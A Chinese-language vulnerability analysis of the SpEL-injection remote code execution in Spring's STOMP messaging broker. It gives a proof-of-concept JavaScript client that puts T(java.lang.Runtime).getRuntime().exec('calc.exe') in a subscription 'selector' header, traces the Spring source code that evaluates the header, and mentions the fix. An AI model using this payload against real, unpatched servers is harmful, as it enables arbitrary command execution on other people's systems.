Spring框架中通过spring-messaging模块来实现STOMP(Simple Text-Orientated Messaging Protocol),STOMP是一种封装WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行
STOMP(Simple Text-Orientated Messaging Protocol) 面向消息的简单文本协议,用于服务器在客户端之间进行异步消息传递。STOMP帧由命令,一个或多个头信息、一个空行及负载(文本或字节)所组成
客户端可以使用SEND命令来发送消息以及描述消息的内容,用SUBSCRIBE命令来订阅消息以及由谁来接收消息。这样就可以建立一个发布订阅系统,消息可以从客户端发送到服务器进行操作,服务器也可以推送消息到客户端
客户端可以使用SEND命令来发送消息以及描述消息的内容,用SUBSCRIBE命令来订阅消息以及由谁来接收消息。这样就可以建立一个发布订阅系统,消息可以从客户端发送到服务器进行操作,服务器也可以推送消息到客户端
通讯过程:
要从浏览器连接,对于SockJS,可以使用sockjs-client。对于STOMP来说,许多应用程序都使用了jmesnil/stomp-websocket库(也称为STOMP.js),它是功能完备的,已经在生产中使用了多年,但不再被维护。目前jsteunou/webstom-client是该库最积极维护和发展的继承者
下载官方教程:https://github.com/spring-guides/gs-messaging-stomp-websocket
需要使用到旧版本,clone后checkout到老分支:git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
使用其中的complete项目,Gradle+SpringBoot项目,较容易搭建
修改resources/static/app.js文件(注意:这里修改app.js代码不是修改源码,appjs是返回给用户交给浏览器执行的,用户可以随意修改。之所以在代码中修改,是为了方便做复现)
xxxxxxxxxx
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
访问localhost:8080
后点击connect,然后随便发一个消息即可弹出计算器
首先分析js中定义的header:selector是什么,找下STOMP协议的细节。当发送订阅命令时,Stomp支持选择器标头,该选择器充当基于内容路由的筛选器
点击connect后,js发送建立订阅的stomp请求,代码获取这个header的地方:org\springframework\messaging\simp\broker\DefaultSubscriptionRegistry.java
xxxxxxxxxx
protected void addSubscriptionInternal(
String sessionId, String subsId, String destination, Message<?> message) {
Expression expression = null;
MessageHeaders headers = message.getHeaders();
String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);
if (selector != null) {
try {
expression = this.expressionParser.parseExpression(selector);
this.selectorHeaderInUse = true;
if (logger.isTraceEnabled()) {
logger.trace("Subscription selector: [" + selector + "]");
}
}
catch (Throwable ex) {
if (logger.isDebugEnabled()) {
logger.debug("Failed to parse selector: " + selector, ex);
}
}
}
this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
}
下断点分析,selector是payload。另外这里构造了一个expression,看到这个敏感词汇,大概率洞来了。这里只是初始化了expression,并没有getValue或setValue,所以RCE触发不在这里
当我们点击Send发送后,会调用org\springframework\messaging\simp\broker\SimpleBrokerMessageHandler.java
xxxxxxxxxx
protected void sendMessageToSubscribers( String destination, Message<?> message) {
MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message);
if (!subscriptions.isEmpty() && logger.isDebugEnabled()) {
logger.debug("Broadcasting to " + subscriptions.size() + " sessions.");
}
......
}
断点调试跟入this.subscriptionRegistry.findSubscriptions
至org/springframework/messaging/simp/broker/AbstractSubscriptionRegistry.java
xxxxxxxxxx
public final MultiValueMap<String, String> findSubscriptions(Message<?> message) {
MessageHeaders headers = message.getHeaders();
SimpMessageType type = SimpMessageHeaderAccessor.getMessageType(headers);
if (!SimpMessageType.MESSAGE.equals(type)) {
throw new IllegalArgumentException("Unexpected message type: " + type);
}
String destination = SimpMessageHeaderAccessor.getDestination(headers);
if (destination == null) {
if (logger.isErrorEnabled()) {
logger.error("No destination in " + message);
}
return EMPTY_MAP;
}
return findSubscriptionsInternal(destination, message);
}
protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {
MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);
return filterSubscriptions(result, message);
}
层层跟入到filterSubscriptions
,需要返回给用户的message
从sendMessageToSubscribers
传入到filterSubscriptions
,这里的allMatches
是findSubscriptionsInternal
中获取到的所有订阅信息,其中包含建立连接时候的selector
,也就是说sub
包含着payload
xxxxxxxxxx
private MultiValueMap<String, String> filterSubscriptions(
MultiValueMap<String, String> allMatches, Message<?> message) {
......
for (String sessionId : allMatches.keySet()) {
for (String subId : allMatches.get(sessionId)) {
SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId);
......
Subscription sub = info.getSubscription(subId);
......
Expression expression = sub.getSelectorExpression();
......
if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
result.add(sessionId, subId);
}
......
}
获取到的expression正是connect时构造的expression,在后面的expression.getValue
处成功触发,到此分析结束,又一个SPEL的RCE
这个漏洞官方似乎没有修复成功,造成了CVE-2018-1275这个新漏洞,最终的修复方案如下,使用了SimpleEvaluationContext代替StandardEvaluationContext,SimpleEvaluationContext仅支持SPEL的部分功能,实现了防御